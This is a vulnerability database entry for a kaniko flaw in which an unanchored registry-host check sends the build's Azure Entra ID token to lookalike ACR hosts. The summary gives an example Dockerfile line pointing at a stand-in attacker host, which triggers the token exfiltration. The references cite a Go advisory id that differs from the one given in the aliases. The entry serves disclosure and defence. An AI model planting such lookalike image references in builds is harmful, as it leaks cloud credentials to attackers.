CVE-2026-105769 json
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
published 2026-11-02 6 d ago modified 2026-11-05 3 d ago also GHSA-5q7h-w9jf-cx97 , GO-2026-6902 , EUVD-2026-115331
- cvss
- 9.3
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 0.2%
- EPSS 0.2% chance of exploitation in 30 days, percentile 9%
- public exploits
- 0
- none known
Summary
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Patch / fix
- go github.com/chainguard-dev/kaniko 1.25.20
- chainguard kaniko 1.25.20
CISA SSVC
- Exploitation
- none
- Automatable
- no
- Technical impact
- total
- Assessed
- 6 d ago
Exploit prediction
0.20% chance of exploitation in the next 30 days, higher than 9% of all scored CVEs (FIRST EPSS, 2026-11-08).
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CNA | 3.1 | 9.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
| GitHub | 3.1 | 9.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| go | github.com/chainguard-dev/kaniko | <1.25.20 |
1.25.20 |
Affected products
- chainguard kaniko
Classification
References
-
github.com
/chainguard-forks/kaniko/pull/495
patch, web
-
github.com
/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405
web, patch
-
github.com
/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48
web, patch
-
github.com
/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
vendor-advisory, web, advisory
-
github.com
/chainguard-forks/kaniko/releases/tag/v1.25.20
release-notes, web
-
github.com
/chrismellard/docker-credential-acr-env/issues/21
issue-tracking, web
-
pkg.go.dev
/vuln/GO-2026-6225
third-party-advisory, web
-
nvd.nist.gov
/vuln/detail/CVE-2026-105769
advisory
-
github.com
/chainguard-forks/kaniko
package
Sources
- CVE List CVE-2026-105769
- GitHub Advisory GHSA-5q7h-w9jf-cx97
- NVD CVE-2026-105769
- OSV GO-2026-6902
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.